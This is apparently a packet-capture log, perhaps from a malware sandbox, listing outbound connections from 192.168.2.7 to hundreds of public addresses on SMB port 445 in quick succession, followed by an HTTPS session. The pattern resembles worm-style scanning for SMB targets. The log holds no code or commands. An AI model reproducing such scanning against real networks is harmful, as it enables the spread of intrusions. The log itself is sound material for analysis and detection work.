Jul 20, 2022 15:44:21.071820974 CEST	50885	445	192.168.2.7	83.212.120.26
Jul 20, 2022 15:44:21.071973085 CEST	50886	445	192.168.2.7	179.112.15.107
Jul 20, 2022 15:44:21.072560072 CEST	50887	445	192.168.2.7	152.71.51.39
Jul 20, 2022 15:44:21.072561979 CEST	50888	445	192.168.2.7	220.154.225.34
Jul 20, 2022 15:44:21.072705984 CEST	50889	445	192.168.2.7	113.89.56.138
Jul 20, 2022 15:44:21.072843075 CEST	50890	445	192.168.2.7	171.17.177.23
Jul 20, 2022 15:44:21.072988033 CEST	50891	445	192.168.2.7	110.130.151.176
Jul 20, 2022 15:44:21.073111057 CEST	50892	445	192.168.2.7	141.42.169.227
Jul 20, 2022 15:44:21.073271036 CEST	50893	445	192.168.2.7	206.6.3.17
Jul 20, 2022 15:44:21.077653885 CEST	50894	445	192.168.2.7	208.38.135.127
Jul 20, 2022 15:44:21.077797890 CEST	50895	445	192.168.2.7	212.147.21.123
Jul 20, 2022 15:44:21.077969074 CEST	50896	445	192.168.2.7	142.172.194.83
Jul 20, 2022 15:44:21.078097105 CEST	50897	445	192.168.2.7	24.97.199.61
Jul 20, 2022 15:44:21.078248978 CEST	50898	445	192.168.2.7	167.26.89.19
Jul 20, 2022 15:44:21.078386068 CEST	50899	445	192.168.2.7	135.77.167.244
Jul 20, 2022 15:44:21.169084072 CEST	50900	445	192.168.2.7	203.35.149.94
Jul 20, 2022 15:44:21.205982924 CEST	445	50849	126.140.33.96	192.168.2.7
Jul 20, 2022 15:44:21.294214964 CEST	50901	445	192.168.2.7	22.237.104.139
Jul 20, 2022 15:44:21.511943102 CEST	50902	445	192.168.2.7	215.85.234.108
Jul 20, 2022 15:44:21.512819052 CEST	50903	445	192.168.2.7	56.190.72.133
Jul 20, 2022 15:44:21.513612986 CEST	50904	445	192.168.2.7	43.2.201.41
Jul 20, 2022 15:44:21.514436007 CEST	50905	445	192.168.2.7	35.42.97.253
Jul 20, 2022 15:44:21.515358925 CEST	50906	445	192.168.2.7	223.164.37.11
Jul 20, 2022 15:44:21.516180992 CEST	50907	445	192.168.2.7	166.161.144.226
Jul 20, 2022 15:44:21.744926929 CEST	50908	445	192.168.2.7	112.245.108.113
Jul 20, 2022 15:44:21.918987989 CEST	50909	445	192.168.2.7	156.55.132.138
Jul 20, 2022 15:44:22.035026073 CEST	50910	445	192.168.2.7	76.137.218.40
Jul 20, 2022 15:44:22.182941914 CEST	50911	445	192.168.2.7	198.66.213.78
Jul 20, 2022 15:44:22.183701992 CEST	50912	445	192.168.2.7	209.1.241.249
Jul 20, 2022 15:44:22.234591007 CEST	50913	445	192.168.2.7	126.147.16.187
Jul 20, 2022 15:44:22.235661983 CEST	50914	445	192.168.2.7	22.186.36.139
Jul 20, 2022 15:44:22.236752987 CEST	50915	445	192.168.2.7	111.7.139.173
Jul 20, 2022 15:44:22.238266945 CEST	50916	445	192.168.2.7	125.157.188.4
Jul 20, 2022 15:44:22.239002943 CEST	50917	445	192.168.2.7	70.16.31.10
Jul 20, 2022 15:44:22.254334927 CEST	50918	445	192.168.2.7	205.30.214.144
Jul 20, 2022 15:44:22.283229113 CEST	50919	445	192.168.2.7	217.88.201.226
Jul 20, 2022 15:44:22.283401966 CEST	50920	445	192.168.2.7	61.152.187.183
Jul 20, 2022 15:44:22.284085989 CEST	50921	445	192.168.2.7	219.147.110.36
Jul 20, 2022 15:44:22.284549952 CEST	50922	445	192.168.2.7	55.133.196.145
Jul 20, 2022 15:44:22.285221100 CEST	50923	445	192.168.2.7	213.185.139.173
Jul 20, 2022 15:44:22.285403967 CEST	50924	445	192.168.2.7	156.116.195.80
Jul 20, 2022 15:44:22.285535097 CEST	50925	445	192.168.2.7	70.35.140.220
Jul 20, 2022 15:44:22.285552979 CEST	50926	445	192.168.2.7	215.203.235.40
Jul 20, 2022 15:44:22.285927057 CEST	50928	445	192.168.2.7	139.121.27.131
Jul 20, 2022 15:44:22.285953999 CEST	50927	445	192.168.2.7	21.161.45.206
Jul 20, 2022 15:44:22.286077976 CEST	50929	445	192.168.2.7	23.162.187.134
Jul 20, 2022 15:44:22.286232948 CEST	50930	445	192.168.2.7	195.123.213.150
Jul 20, 2022 15:44:22.291431904 CEST	50931	445	192.168.2.7	174.129.38.199
Jul 20, 2022 15:44:22.416434050 CEST	50932	445	192.168.2.7	178.141.1.55
Jul 20, 2022 15:44:22.636022091 CEST	50934	445	192.168.2.7	54.209.183.72
Jul 20, 2022 15:44:22.636781931 CEST	50935	445	192.168.2.7	123.236.50.250
Jul 20, 2022 15:44:22.637522936 CEST	50936	445	192.168.2.7	46.203.133.158
Jul 20, 2022 15:44:22.638206005 CEST	50937	445	192.168.2.7	98.183.82.217
Jul 20, 2022 15:44:22.638921976 CEST	50938	445	192.168.2.7	24.208.39.194
Jul 20, 2022 15:44:22.838347912 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:22.856730938 CEST	50940	445	192.168.2.7	130.219.130.0
Jul 20, 2022 15:44:22.930840969 CEST	445	50939	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:22.930994987 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:22.931345940 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:23.016401052 CEST	445	50939	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:23.024255037 CEST	445	50939	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:23.087500095 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:23.094244957 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:23.095340967 CEST	50941	445	192.168.2.7	198.170.210.167
Jul 20, 2022 15:44:23.187468052 CEST	445	50939	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:23.397337914 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:23.403305054 CEST	50942	445	192.168.2.7	84.181.135.100
Jul 20, 2022 15:44:23.485855103 CEST	445	50939	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:23.499419928 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:23.512345076 CEST	50943	445	192.168.2.7	84.97.48.175
Jul 20, 2022 15:44:23.512897015 CEST	50944	445	192.168.2.7	147.106.188.18
Jul 20, 2022 15:44:23.513418913 CEST	50945	445	192.168.2.7	177.86.27.131
Jul 20, 2022 15:44:23.513928890 CEST	50946	445	192.168.2.7	45.175.91.83
Jul 20, 2022 15:44:23.515075922 CEST	50947	445	192.168.2.7	109.224.244.250
Jul 20, 2022 15:44:23.515614033 CEST	50948	445	192.168.2.7	79.94.170.214
Jul 20, 2022 15:44:23.516380072 CEST	50949	445	192.168.2.7	207.108.68.181
Jul 20, 2022 15:44:23.517096043 CEST	50950	445	192.168.2.7	102.228.112.16
Jul 20, 2022 15:44:23.517801046 CEST	50951	445	192.168.2.7	118.161.120.129
Jul 20, 2022 15:44:23.518490076 CEST	50952	445	192.168.2.7	220.158.62.76
Jul 20, 2022 15:44:23.519176006 CEST	50953	445	192.168.2.7	128.127.213.57
Jul 20, 2022 15:44:23.519880056 CEST	50954	445	192.168.2.7	155.115.127.208
Jul 20, 2022 15:44:23.520569086 CEST	50955	445	192.168.2.7	54.87.89.15
Jul 20, 2022 15:44:23.521224022 CEST	50956	445	192.168.2.7	148.27.114.41
Jul 20, 2022 15:44:23.521899939 CEST	50957	445	192.168.2.7	154.138.244.35
Jul 20, 2022 15:44:23.522564888 CEST	50958	445	192.168.2.7	38.220.224.137
Jul 20, 2022 15:44:23.523231030 CEST	50959	445	192.168.2.7	157.106.32.196
Jul 20, 2022 15:44:23.523914099 CEST	50960	445	192.168.2.7	144.112.11.119
Jul 20, 2022 15:44:23.524913073 CEST	50961	445	192.168.2.7	168.25.242.154
Jul 20, 2022 15:44:23.585787058 CEST	445	50939	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:23.598352909 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:23.600725889 CEST	50962	445	192.168.2.7	25.192.236.243
Jul 20, 2022 15:44:23.601470947 CEST	50963	445	192.168.2.7	142.48.71.112
Jul 20, 2022 15:44:23.673674107 CEST	50964	445	192.168.2.7	67.26.31.169
Jul 20, 2022 15:44:23.685831070 CEST	445	50939	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:23.685946941 CEST	50939	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:23.766968966 CEST	50965	445	192.168.2.7	188.18.139.20
Jul 20, 2022 15:44:23.776468992 CEST	50966	445	192.168.2.7	210.97.68.253
Jul 20, 2022 15:44:23.777132034 CEST	50967	445	192.168.2.7	214.248.154.212
Jul 20, 2022 15:44:23.777790070 CEST	50968	445	192.168.2.7	26.157.141.207
Jul 20, 2022 15:44:23.778449059 CEST	50969	445	192.168.2.7	161.185.131.156
Jul 20, 2022 15:44:23.779133081 CEST	50970	445	192.168.2.7	168.168.203.29
Jul 20, 2022 15:44:23.779781103 CEST	50971	445	192.168.2.7	220.18.164.213
Jul 20, 2022 15:44:24.125694990 CEST	50973	445	192.168.2.7	90.108.102.226
Jul 20, 2022 15:44:24.231931925 CEST	50974	445	192.168.2.7	43.113.116.225
Jul 20, 2022 15:44:25.044526100 CEST	50975	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.077168941 CEST	50976	445	192.168.2.7	155.230.167.160
Jul 20, 2022 15:44:25.077706099 CEST	50977	445	192.168.2.7	86.217.87.131
Jul 20, 2022 15:44:25.078217030 CEST	50978	445	192.168.2.7	197.230.99.209
Jul 20, 2022 15:44:25.078721046 CEST	50979	445	192.168.2.7	109.197.196.118
Jul 20, 2022 15:44:25.127567053 CEST	445	50975	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.127687931 CEST	50975	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.199887037 CEST	50975	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.215239048 CEST	50980	445	192.168.2.7	109.236.207.205
Jul 20, 2022 15:44:25.215392113 CEST	50981	445	192.168.2.7	213.111.8.91
Jul 20, 2022 15:44:25.215481997 CEST	50982	445	192.168.2.7	191.21.108.145
Jul 20, 2022 15:44:25.215575933 CEST	50983	445	192.168.2.7	105.121.213.151
Jul 20, 2022 15:44:25.215681076 CEST	50984	445	192.168.2.7	183.163.245.121
Jul 20, 2022 15:44:25.215774059 CEST	50985	445	192.168.2.7	65.87.190.251
Jul 20, 2022 15:44:25.215869904 CEST	50986	445	192.168.2.7	109.113.202.241
Jul 20, 2022 15:44:25.215959072 CEST	50987	445	192.168.2.7	133.168.235.196
Jul 20, 2022 15:44:25.216063976 CEST	50988	445	192.168.2.7	35.34.188.179
Jul 20, 2022 15:44:25.216150999 CEST	50989	445	192.168.2.7	147.38.29.202
Jul 20, 2022 15:44:25.216248035 CEST	50990	445	192.168.2.7	192.239.11.18
Jul 20, 2022 15:44:25.216335058 CEST	50991	445	192.168.2.7	176.214.129.19
Jul 20, 2022 15:44:25.216447115 CEST	50992	445	192.168.2.7	150.20.224.86
Jul 20, 2022 15:44:25.216557980 CEST	50993	445	192.168.2.7	190.8.72.25
Jul 20, 2022 15:44:25.216644049 CEST	50994	445	192.168.2.7	195.155.185.55
Jul 20, 2022 15:44:25.216738939 CEST	50995	445	192.168.2.7	33.137.208.176
Jul 20, 2022 15:44:25.216835022 CEST	50996	445	192.168.2.7	40.219.132.32
Jul 20, 2022 15:44:25.216918945 CEST	50997	445	192.168.2.7	114.111.18.216
Jul 20, 2022 15:44:25.217004061 CEST	50998	445	192.168.2.7	118.182.115.56
Jul 20, 2022 15:44:25.217092991 CEST	50999	445	192.168.2.7	92.61.180.32
Jul 20, 2022 15:44:25.217187881 CEST	51000	445	192.168.2.7	20.140.168.30
Jul 20, 2022 15:44:25.217299938 CEST	51001	445	192.168.2.7	200.131.220.92
Jul 20, 2022 15:44:25.217395067 CEST	51002	445	192.168.2.7	30.189.76.166
Jul 20, 2022 15:44:25.217497110 CEST	51003	445	192.168.2.7	129.197.97.12
Jul 20, 2022 15:44:25.217600107 CEST	51004	445	192.168.2.7	178.193.10.194
Jul 20, 2022 15:44:25.222419024 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.283497095 CEST	445	50975	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.283519030 CEST	445	50975	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.283988953 CEST	50975	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.299562931 CEST	445	51006	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.299758911 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.315798998 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.316610098 CEST	51007	445	192.168.2.7	50.159.148.205
Jul 20, 2022 15:44:25.395628929 CEST	445	51006	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.395692110 CEST	445	51006	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.403826952 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.423039913 CEST	51008	445	192.168.2.7	55.117.28.155
Jul 20, 2022 15:44:25.483957052 CEST	445	51006	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.548321962 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.625291109 CEST	445	51006	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.655464888 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.732387066 CEST	445	51006	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.732562065 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.811316013 CEST	445	51006	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:25.811398029 CEST	51006	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:25.946805954 CEST	445	50982	191.21.108.145	192.168.2.7
Jul 20, 2022 15:44:26.232013941 CEST	51010	445	192.168.2.7	189.5.3.251
Jul 20, 2022 15:44:26.232722044 CEST	51011	445	192.168.2.7	193.171.189.197
Jul 20, 2022 15:44:26.233375072 CEST	51012	445	192.168.2.7	26.90.243.52
Jul 20, 2022 15:44:26.343476057 CEST	51013	445	192.168.2.7	160.152.201.231
Jul 20, 2022 15:44:26.344268084 CEST	51014	445	192.168.2.7	172.79.179.179
Jul 20, 2022 15:44:26.344988108 CEST	51015	445	192.168.2.7	197.135.24.224
Jul 20, 2022 15:44:26.345679045 CEST	51016	445	192.168.2.7	115.84.87.20
Jul 20, 2022 15:44:26.347088099 CEST	51018	445	192.168.2.7	95.17.144.207
Jul 20, 2022 15:44:26.356015921 CEST	51019	445	192.168.2.7	32.238.89.185
Jul 20, 2022 15:44:26.356373072 CEST	51020	445	192.168.2.7	91.151.35.153
Jul 20, 2022 15:44:26.356404066 CEST	51021	445	192.168.2.7	169.140.135.159
Jul 20, 2022 15:44:26.356522083 CEST	51023	445	192.168.2.7	20.95.18.182
Jul 20, 2022 15:44:26.356551886 CEST	51022	445	192.168.2.7	159.243.172.38
Jul 20, 2022 15:44:26.356651068 CEST	51025	445	192.168.2.7	192.80.195.92
Jul 20, 2022 15:44:26.356671095 CEST	51024	445	192.168.2.7	92.55.126.109
Jul 20, 2022 15:44:26.356770039 CEST	51026	445	192.168.2.7	29.254.182.142
Jul 20, 2022 15:44:26.356829882 CEST	51027	445	192.168.2.7	65.77.121.171
Jul 20, 2022 15:44:26.356929064 CEST	51028	445	192.168.2.7	14.209.171.109
Jul 20, 2022 15:44:26.357029915 CEST	51029	445	192.168.2.7	9.210.176.52
Jul 20, 2022 15:44:26.357057095 CEST	51030	445	192.168.2.7	181.4.233.243
Jul 20, 2022 15:44:26.357060909 CEST	51031	445	192.168.2.7	126.231.158.151
Jul 20, 2022 15:44:26.357137918 CEST	51032	445	192.168.2.7	170.225.196.224
Jul 20, 2022 15:44:26.357187986 CEST	51033	445	192.168.2.7	69.47.58.169
Jul 20, 2022 15:44:26.357294083 CEST	51035	445	192.168.2.7	208.252.146.244
Jul 20, 2022 15:44:26.357301950 CEST	51034	445	192.168.2.7	108.35.150.141
Jul 20, 2022 15:44:26.357367039 CEST	51036	445	192.168.2.7	63.214.158.130
Jul 20, 2022 15:44:26.357475996 CEST	51038	445	192.168.2.7	38.172.103.75
Jul 20, 2022 15:44:26.357491970 CEST	51037	445	192.168.2.7	12.34.233.211
Jul 20, 2022 15:44:26.357578993 CEST	51039	445	192.168.2.7	186.212.3.84
Jul 20, 2022 15:44:26.439452887 CEST	51040	445	192.168.2.7	121.92.131.13
Jul 20, 2022 15:44:26.541846037 CEST	51041	445	192.168.2.7	12.100.120.54
Jul 20, 2022 15:44:27.355856895 CEST	51044	445	192.168.2.7	13.114.253.224
Jul 20, 2022 15:44:27.355866909 CEST	51043	445	192.168.2.7	20.167.194.252
Jul 20, 2022 15:44:27.356029987 CEST	51045	445	192.168.2.7	27.216.107.203
Jul 20, 2022 15:44:27.465677977 CEST	51047	445	192.168.2.7	98.254.14.30
Jul 20, 2022 15:44:27.465735912 CEST	51046	445	192.168.2.7	155.102.233.90
Jul 20, 2022 15:44:27.465914965 CEST	51048	445	192.168.2.7	110.213.101.17
Jul 20, 2022 15:44:27.465951920 CEST	51049	445	192.168.2.7	27.210.224.250
Jul 20, 2022 15:44:27.466068029 CEST	51050	445	192.168.2.7	134.87.88.130
Jul 20, 2022 15:44:27.479929924 CEST	51052	445	192.168.2.7	40.246.249.197
Jul 20, 2022 15:44:27.480652094 CEST	51053	445	192.168.2.7	180.62.252.128
Jul 20, 2022 15:44:27.481321096 CEST	51054	445	192.168.2.7	112.168.40.164
Jul 20, 2022 15:44:27.481951952 CEST	51055	445	192.168.2.7	180.73.82.132
Jul 20, 2022 15:44:27.482608080 CEST	51056	445	192.168.2.7	50.241.151.227
Jul 20, 2022 15:44:27.483243942 CEST	51057	445	192.168.2.7	197.172.71.18
Jul 20, 2022 15:44:27.483905077 CEST	51058	445	192.168.2.7	162.42.245.169
Jul 20, 2022 15:44:27.484544992 CEST	51059	445	192.168.2.7	1.26.62.18
Jul 20, 2022 15:44:27.485188007 CEST	51060	445	192.168.2.7	195.185.98.92
Jul 20, 2022 15:44:27.486129999 CEST	51061	445	192.168.2.7	168.12.138.25
Jul 20, 2022 15:44:27.486892939 CEST	51062	445	192.168.2.7	101.220.239.235
Jul 20, 2022 15:44:27.487561941 CEST	51063	445	192.168.2.7	202.208.39.136
Jul 20, 2022 15:44:27.488220930 CEST	51064	445	192.168.2.7	164.209.237.112
Jul 20, 2022 15:44:27.488848925 CEST	51065	445	192.168.2.7	69.112.57.251
Jul 20, 2022 15:44:27.489491940 CEST	51066	445	192.168.2.7	69.162.247.224
Jul 20, 2022 15:44:27.490132093 CEST	51067	445	192.168.2.7	12.155.22.184
Jul 20, 2022 15:44:27.490782976 CEST	51068	445	192.168.2.7	102.8.179.77
Jul 20, 2022 15:44:27.491441011 CEST	51069	445	192.168.2.7	88.167.212.227
Jul 20, 2022 15:44:27.492176056 CEST	51070	445	192.168.2.7	184.241.235.203
Jul 20, 2022 15:44:27.492800951 CEST	51071	445	192.168.2.7	217.222.73.115
Jul 20, 2022 15:44:27.493449926 CEST	51072	445	192.168.2.7	176.125.236.50
Jul 20, 2022 15:44:27.567482948 CEST	51073	445	192.168.2.7	53.246.92.190
Jul 20, 2022 15:44:27.667789936 CEST	51074	445	192.168.2.7	153.250.97.251
Jul 20, 2022 15:44:27.785346031 CEST	445	51063	202.208.39.136	192.168.2.7
Jul 20, 2022 15:44:27.996959925 CEST	445	51074	153.250.97.251	192.168.2.7
Jul 20, 2022 15:44:28.102844000 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.102880955 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.103003979 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.105793953 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.105808020 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.141495943 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.141608953 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.142234087 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.145817995 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.145909071 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.216046095 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.216136932 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.216180086 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.216255903 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.216337919 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.216355085 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.216440916 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.217197895 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.217241049 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.217350006 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.217365026 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.217406034 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.217432022 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.218025923 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.218116045 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.219038010 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.219078064 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.219193935 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.219212055 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.219223022 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.219348907 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.231760025 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.231790066 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.231888056 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.231921911 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.231988907 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.232224941 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.232320070 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.234333038 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.234359980 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.234517097 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.234538078 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.234616995 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.236098051 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.236135960 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.236291885 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.236316919 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.236418009 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.236646891 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.236774921 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.248768091 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.248805046 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.249017000 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.249051094 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.249140978 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.249845028 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.249881983 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.250030041 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.250056028 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.250154972 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.250228882 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.250356913 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.252223015 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.252259970 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.252372026 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.252407074 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.252496958 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.253030062 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.253067017 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.253179073 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.253211021 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.253283978 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.254015923 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.254144907 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.255716085 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.255857944 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.255924940 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.255949974 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.256006002 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.256022930 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.256787062 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.256853104 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.256934881 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.256958008 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.256994963 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.257028103 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.257707119 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.257842064 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.258750916 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.258786917 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.258949995 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.258969069 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.259035110 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.260523081 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.260565042 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.260637999 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.260680914 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.260696888 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.260742903 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.260771990 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.264230967 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.264432907 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.265017033 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.265052080 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.265268087 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.265288115 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.265383005 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.266510010 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.266583920 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.266676903 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.266695976 CEST	443	51076	80.67.82.211	192.168.2.7
